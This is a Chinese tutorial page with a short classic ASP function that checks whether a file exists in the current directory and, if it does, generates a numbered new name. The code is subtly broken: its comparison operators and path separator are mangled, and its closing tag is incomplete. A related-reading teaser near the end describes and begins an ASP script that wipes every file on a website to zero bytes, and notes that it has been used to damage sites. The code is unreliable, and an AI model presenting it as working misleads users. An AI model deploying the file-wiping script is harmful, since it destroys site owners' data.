检查当前目录下是否存在指定的文件 如果存在就重新命名

2016-01-29 20:18 8 1 收藏

检查当前目录下是否存在指定的文件 如果存在就重新命名,检查当前目录下是否存在指定的文件,如果存在就重新命名

【 tulaoshi.com - ASP 】

<%
function JudgeFileExit(strFileName)
Dim objFSO,objFile,objFJ
Dim strFilePath
Dim blFJ
Dim intFlag
intFlag=0
set objFSO=CreateObject("Scripting.FileSystemObject")
strFilePath=server.MapPath("./")
if right(strFilePath,1)<"/" or right(strFilePath,1)<"" then
strFilePath=strFilePath&""
end if
blFJ=objFSO.FileExists(strFilePath&strFileName)
do while blFJ=true
intFlag=intFlag+1
blFJ=objFSO.FileExists(strFilePath &intFlag&strFileName)
loop
if intFlag=0 then
JudgeFileExit= strFileName
else
JudgeFileExit=intFlag&strFileName
end if
set objFSO=nothing
end function
Response.Write JudgeFileExit("22.htm")
%

来源:http://www.tulaoshi.com/n/20160129/1510973.html

延伸阅读
标签: Web开发
在任何网站注册用户的时候,都会检查用户是否已经存在。很久以前的处理方式是将所有数据提交到服务器端进行验证,很显然这种方式的用户体验很不好;后来有了Ajax,有了异步交互,当用户输完用户名继续填写其他信息的时候,Ajax就将信息发到了服务器去检查该用户名是否已经被注册了,这样如果用户名已经存在,不用等用户将所有数据都提交就可以给...
(1)查找指定扩展名的文件 procedure TForm1.Button1Click(Sender: TObject); var   sr: TSearchRec; begin   ListBox1.Items.Clear ;   if FindFirst('D:work*.*', faAnyFile, sr) = 0 then   begin     repeat       if pos('...
标签: ASP
  Many times we might need some part of code which will access all sub-folders of the server and also all      files within the sub-folder.      The following line of asp code will map to a specified folder and searches all the sub-folders    &nbs...
标签: ASP
  作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节. 此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展. 属于无聊时的作品,已经有人利用这个破坏了一些网站了. <% Server.ScriptTimeout=99999 If Request("Submit")<"" Then  Call ListFile(Server.mappath("...
标签: 电脑入门
QQ目录下各文件及目录用途解析 以安装原版qq以后目录下的文件为例进行分析.不分析视频音频.及其主要功能 []         为目录 [chat]            聊天室 [chattheme]           聊天室 [mail...

经验教程

463

收藏

40
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部